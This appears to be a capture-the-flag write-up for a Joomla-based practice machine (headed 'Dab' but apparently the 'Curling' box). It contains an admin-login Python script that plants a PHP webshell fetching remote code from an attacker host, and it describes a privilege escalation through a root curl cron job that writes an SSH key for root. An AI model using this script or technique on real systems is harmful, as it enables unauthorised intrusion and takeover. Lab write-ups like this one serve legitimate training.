Description
Name: Dab
IP: 10.10.10.150
Author: L4mpje
Difficulty: 3.3/10
Discovery nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.150
1 2 3 4 5 6 7 8 9 10 11 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Pwn
You already have the latest Joomla version, 3.8.8.
The website is running the latest version of Joomla but we saw a secret.txt
HTML comment in the source code and that Floris
is a site writer.
From http://10.10.10.150/secret.txt we got a base64 string: Q3VybGluZzIwMTgh
that decoded is: Curling2018!
.
With floris:Curling2018!
we can now login in the Joomla control panel.
We can also use a webshell uploader to trigger the web_devlivery
metasploit module:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import requestsimport sysimport retarget = sys.argv[1 ] print('[+] Checking: ' + str(target)) session = requests.session() initlink = target + '/administrator/index.php' initsend = session.get(initlink) initresp = initsend.text find_token = re.compile('[a-fA-F0-9]{32}' ) found_token = re.findall(find_token, initresp) if found_token: initToken = found_token[-1 ] print('[+] Found init token: ' + initToken) print('[+] Preparing login request' ) data_login = { 'username' : 'floris' , 'passwd' : 'Curling2018!' , 'lang' : '' , 'option' : 'com_login' , 'task' : 'login' , 'return' : 'aW5kZXgucGhw' , initToken: '1' } data_link = initlink doLogin = session.post(data_link, data=data_login) loginResp = doLogin.text uplink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D' filename = 'jsstrings.php' print('[+] File to change: ' + str(filename)) getnewtoken = session.get(uplink) getresptoken = getnewtoken.text newToken = re.compile('[a-fA-F0-9]{32}' ) newFound = re.findall(newToken, getresptoken) if newFound: newOneTok = newFound[-1 ] print('[+] Grabbing new token from logged-in user: ' + newOneTok) getjs = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D' getjsreq = session.get(getjs) getjsresp = getjsreq.text print('[+] Shellname: ' + filename) shlink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA=' shdata_up = { 'jform[source]' : "<?php eval(file_get_contents('http://10.10.XX.XX:8080/dodometer'));" , 'task' : 'template.apply' , newOneTok: '1' , 'jform[extension_id]' : '503' , 'jform[filename]' : '/' + filename } shreq = session.post(shlink, data=shdata_up) path2shell = '/templates/beez3/jsstrings.php?x=id' print('[+] Shell is ready to use: ' + str(path2shell)) print('[+] Checking:' ) shreq = session.get(target + path2shell) print('\n[+] Module finished.' )
We got a session as www-data
data and to read the first flag we need to escalate di floris
user. In /home/floris
we got a password_backup
file which is the hexdump of a bzip archive (BZ
magic bytes).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. 000000f0: 819b bb48 ...H
Using xxd
we got the original compressed file: xxd -r pb.hex > pb.bzip2
pb.zip: bzip2 compressed data, block size = 900k
After some extractions (4) we got password.txt
containing: 5d<wdCbdZu)|hChXll
. Using this password we can now connect to SSH as floris
.
In the home directory of Floris there is a admin-area
folder with two file.
The input
file is just a url
directive and report
is the curl/wget of the specified URL.
Using pspy
, uploaded on the machine using python -m http.server 80
and wget
, we saw that every 2 2 minutes a root process is running:
We can edit the input
file to print the content of the root.txt
file using url = "file:///root/root.txt"
.
After a while we got the root flag.
It is possible to get a root shell using the same technique:
Create a public/private key with ssh-keygen -f foo
Edit the input
file as follow to upload the public key for root user login
1 2 url = "file:///tmp/.dodo/foo.pub" output = "/root/.ssh/authorized_keys"
Wait for the root process to execute the curl command
SSH as root using the private key